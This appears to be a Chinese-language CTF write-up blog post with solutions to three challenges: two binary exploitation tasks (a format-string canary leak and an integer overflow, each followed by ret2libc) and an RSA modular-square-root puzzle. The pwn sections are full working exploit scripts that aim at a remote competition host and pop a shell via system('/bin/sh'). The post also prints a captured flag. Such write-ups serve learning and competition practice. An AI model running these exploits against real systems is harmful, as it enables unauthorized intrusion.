2023.11.18

两天半的比赛，就打了半天（因为要赶去打香山杯决赛了），不过结果还算好，人生第一次拿了两个一血hhh。写wp的时候人在中大南校北门的酒店里:)

controller

格式化字符串泄露canary之后打ret2libc即可。

```
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
libset('./libc-2.27.so')
evgdb()
rsetup('124.71.135.126',30024)

rdi = 0x0000000000402533 # pop rdi ; ret
putsg = gotadd('puts')
puts = pltadd('puts')

sl(b'6')
sl(b'2')
sl(b'2')
sla('fo',b'%13$p')

sl(b'')
sl(b'1')
sl(b'')

ru(b'No.2')
addx = getx(-13,-1)
base = addx - 0x21c87
dpx('libcbase',base)

sl(b'6')
sl(b'2')

addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
addx=tet()
```

```
addx=tet()

can = getx(-19,-1)
dpx('can',can)

#需要泄露canary
sl(b'0')
sl(b'0')
sl(b'')

sl(b'9')
sla('ame:',b's'*1)
sh = base+0x00000000001b3d88
sys = pltadd('system')
ret = 0x0000000000400b3e
#sla(b'password:',b'\x00\x02aaaaaa'+p64(can)+p64(0x400d20))
sla(b'password:',b'\x00\x02aaaaaa'+p64(can)+b'aaaaaaaa'+p64(rdi)+p64(sh)+p64(ret)*3+p64(sys))

ia()
```

inverse

ret2libc和整数溢出

```
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
libset('./libc-2.27.so')
evgdb()
rsetup('124.71.135.126',30007)

tag = 0x804C030
puts = pltadd('puts')
putsg = gotadd('puts')
sa(':',b'/bin/sh')
sl(b'-1')
sla(':',b'a'*(0x3c+4)+p32(puts)+p32(0x80493d5)+p32(putsg))
add = getx64(0,-17)
base = getbase(add,'puts')
pause()
sl(b'-1')
sys = symoff('system',base)
sh = base + 0x0017b9db
sl(b'a'*(0x3c+4)+p32(sys)+p32(0xdeadbeef)+p32(sh)+p32(0xdeadbeaf))
ia()
```

ezrsa

求模平方根即可。

```python
n = 412482079973710723630883700852439735510778695041476999618132433355695015420698005940640276732772531223867305358114864143849421232015766539520833757555638 5
m = 131079395635074597746162041412537474892320633362041739441232632845076043288856800724786690169694283666673813580040592042071348179526200147386654507531478 57
def legendre_symbol(a, p):
    # 计算雅可比符号 (a/p)
    if a % p == 0:
        return 0
    elif pow(a, (p - 1) // 2, p) == 1:
        return 1
    else:
        return -1

def mod_sqrt(n, p):
    # Tonelli-Shanks 算法求模平方根
    if legendre_symbol(n, p) != 1:
        raise Exception('No modular square root exists')

    q = p - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1

    if s == 1:
        return pow(n, (p + 1) // 4, p)

    z = 2
    while legendre_symbol(z, p) != -1:
        z += 1

    c = pow(z, q, p)
    r = pow(n, (q + 1) // 2, p)
    t = pow(n, q, p)
    m = s

    while t != 1:
        i = 1
        while pow(t, 2**i, p) != 1:
            i += 1

        b = pow(c, 2**(m - i - 1), p)
        r = (r * b) % p
        t = (t * b * b) % p
        c = (b * b) % p
        m = i

    return r

def solve_quadratic_congruence(n, m):
    # 解二次同余方程 x^2 ≡ n (mod m)
    if m == 2:
        return [n % 2, (n % 2) ^ 1]  # 对于模2，只有0和1两个解

    solutions = []
```

```
    # 判断模平方根是否存在
    if pow(n, (m - 1) // 2, m) != 1:
        raise Exception('No solution exists')

    # 计算模平方根
    sqrt_n = mod_sqrt(n, m)

    # 解方程
    x1 = sqrt_n
    x2 = m - sqrt_n

    solutions.append(x1)
    solutions.append(x2)

    return solutions

# 示例用法
result = solve_quadratic_congruence(n, m)
print(f"Solutions for x^2 ≡ {n} (mod {m}): {result}")
'''
>>> from Crypto.Util.number import *
>>>
long_to_bytes(131079395635074597746162041412537474892320633362041739441232632714675998460651539786579753982613025359681991275971458280047271190476571795350388100993109932)
b'\xfaFF"\x0bxn\x93\xd1\xfd8\x91\x8d;g\x8c\xf7Wj\xcf\x8c\xde\x94\x14\xea\xd9\xfdB\xd5\x16\xe4>\xe5\xdf%
(\xb29^\x87v\x04\x9eOV\xc9\xd18\xc6o\x08\xb8vL\x16N\xb6\xede\xf9\x13\x90aT'
>>>
long_to_bytes(13040000448282052609382069361870812583069918223040691337620240769890496283520362664065383692 5)
b'flag{9971e255f0c020e8e57fbae75f43d7fb}'
'''
```